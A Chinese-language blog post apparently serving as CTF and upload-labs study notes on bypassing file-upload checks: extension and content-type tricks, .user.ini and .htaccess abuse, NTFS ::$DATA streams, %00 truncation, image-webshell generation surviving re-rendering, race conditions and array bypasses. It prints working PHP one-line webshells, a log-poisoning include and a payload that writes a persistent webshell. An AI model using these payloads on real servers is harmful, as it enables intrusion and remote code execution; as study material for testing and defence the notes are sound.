文件上传漏洞总结

文件上传

前台校验

  • 利用burpsuite修改后缀名
  • 禁用前端js
  • 修改js代码

后端校验以及过滤绕过方法

  • 可能会对CT头校验 比如 image/png
  • 如果php被过滤 可以用=代替php
  • Windows下 会自动把文件名最后如果是空格或者点 就会去除
  • 所以例如upload-labs的前几关 可以使用点xx.php空格点去绕过 因为后端代码只会执行一遍 剩下xx.php. 但是点被自动去除 所以上传了正常的文件
  • 如果没有首尾去空 可以在php后面加空格绕过 因为.php空格空格 不在黑名单里
  • .php. 也同理
  • 双写绕过 如果碰上字符串替换函数 可以写成.pphphp
  • [] 过滤 可以用 {} 替代
  • 如果;也过滤
  • 在user.ini 这种包含条件下1可以写shell.png = <?system('tac ../f*')?> 这样访问upload 因为执行了shell 所以就有flag的值了
  • 还有一个姿势是 <?=eval(arry_pop($_POST))?>
  • php脚本的最后一个分号可以省略
  • 可以用include包含日志文件 然后通过ua传入一句话木马
    - <?php include '/var/l'.'og/nginx/access.lo'.'g'?>
  • 伪造图片头 GIF89a 写在bp的send包里

.user.ini文件

  • .user.ini 相当于用户的配置文件
  • 要求是上传目录里有一个php文件 然后我们可以选择包含进去 之后php文件会解析我们的木马
  • 在里面可以包含文件 比如 auto_prepend_file=1.txt 这个时候再上传1.txt 这个马即可
  • 或者auto_append_file 这个是包含在头 上面是包含在尾

htaccess文件

  • 里面写AddType application/x-httpd-php .jpg . txt 意思是增加 这些后缀 用php来解析
  • 前提是httpd.conf 里面的AllowOverride 得为all

图片马制作

  • 在某个文件夹下 打开cmd
  • 然后输入 copy yijuhua.php+1.jpg/b 000.jpg
  • 表示把yijuhua.php和1.jpg合成一个000.jpg

额外数据流

  • echo "你好" >>1.txt:nihao
  • notepad 1.txt:nihao
  • type 2.txt>>1.txt:study
  • notepad 1.txt:study
  • 以上是两种写入方式
  • 所以如果后端代码没有去掉$DATA 可以上传muma.ph::$DATA文件 这样能上传上去
  • 然后到Windows服务器里面 又会自动去掉::DATA后缀 成为正常木马

空字符截断

  • %00 是url编码里面的空字符 当读取到%00的时候 后面的信息就会被抛弃(不读取) 所以如果文件上传的路径是可控的 我们就可以加上/xx.php%00
  • %00只能用于php版本低于5.3 ,把magic_quotes_gpc关闭 get请求用%00
  • post请求得先用占位符 占位 然后bp里面修改00的hex

图片头字节

  • JPEG/JFIF 0xFF 0xD8
  • PNG 0x89 0x50
  • GIF 0x47 0x49
  • BMP 0x42 0x4D
  • TIFF 任意

二次渲染

  • 用010editor tools 比较功能 看哪部分是不会变的 然后插入
  • 或者已经被二次渲染过后的图片 也不会发生变化
  • 使用php脚本进行图片马的生成
点击查看代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>
  • jpg也有相应的脚本

条件竞争

  • 通过与服务器的竞争
  • 比如后端执行是 先保存之后 检查 不符合删除
  • 所以可以在删除前抢先打开文件 然后执行文件 就可以生成新的文件 然后旧的文件被删除 我们可以连接新的马
  • <?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
  • 上面是生成马

利用数组绕过验证

  • 详细见uploadlabs pass21
  • 一开始用数组分割 取第一个和最后一个位置 但如果原来的文件名是数组 就不会进行分割
  • 所以要bp改成数组形式
  • 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
  • 因为数组的最后一位(假的)是空 所以没变化
  • 因此第一位就是php结尾的了

木马连接方式

  • 利用一句话木马成功后,可以打开木马所在的网址,post提交密码=system("命令") ;如ls ls ../
  • 1=system("tac ../flag.php"); 逆序打印
  • 蚁剑等shell软件连接
posted @   DawnLM  阅读(46)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示